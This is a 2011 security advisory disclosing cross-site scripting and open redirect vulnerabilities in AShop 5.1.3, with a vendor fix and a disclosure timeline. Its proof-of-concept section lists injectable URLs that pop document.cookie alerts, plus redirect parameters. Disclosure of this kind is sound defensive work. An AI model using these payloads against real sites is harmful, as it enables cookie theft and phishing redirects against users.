INFOSERVE-ADV2011-02 - Multiple security vulnerabilities in AShop

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Posted by Stefan Schurtz on Thursday, November 10. 2011

Advisory:	Multiple security vulnerabilities in AShop
Advisory ID:	INFOSERVE-ADV2011-02
Author:	Stefan Schurtz
Contact:	security@infoserve.de
Affected Software:	Successfully tested on AShop513
Vendor URL:	http://www.ashopsoftware.com/
Vendor Status:	fixed in Version 5.1.4

======================
Vulnerability Description:
======================

AShop is prone to multiple security vulnerabilities

==============
PoC-Exploit
==============

Cross-Site-Scripting

IE8

http://<target>/ashop/?’"<script>alert(document.cookie)</script>
http://<target>/ashop/index.php?’"<script>alert(document.cookie)</script>
http://<target>/ashop/picture.php?picture=" stYle=x:expre/**/ssion(alert(document.cookie)) ns="
http://<target>/ashop/index.php?language=’"<script>alert(document.cookie)</script>

FF 7.1

http://<target>/ashop/index.php?searchstring=1&showresult=true&exp=’"</script><script>alert(666);</script>&resultpage=&categories=off&msg=&search=index.php&shop=1
http://<target>/ashop/catalogue.php?cat=3&exp=3&shop=3&resultpage=’"</script><script>alert(document.cookie)</script>&msg=
http://<target>/ashop/catalogue.php?cat=3&exp=3&shop=3&resultpage=1&msg=’"</script><script>alert(document.cookie)</script>
http://<target>/ashop/basket.php?cat=0&sid=’"</script><script>alert(document.cookie)</script>&shop=1&payoption=3

Open Redirection

http://<target>/ashop/language.php?language=sv&redirect=http://www.google.com
http://<target>/ashop/currency.php?currency=aud&redirect=http://www.google.com
http://<target>/ashop/currency.php?redirect=http://www.google.com

=====
Solution:
=====

Upgrade to the latest Version 5.1.4

================
Disclosure Timeline:
================

04-Nov-2011 – informed vendor by contact form
08-Nov-2011 – second contact attempt
09-Nov-2011 – vendor fix

====
Credits:
====

Vulnerabilities found and advisory written by the INFOSERVE Security Team

=======
References:
=======

http://www.ashopsoftware.com/
http://sourceforge.net/projects/ashop/files/

http://www.infoserve.de/system/files/advisories/INFOSERVE-ADV2011-02.txt

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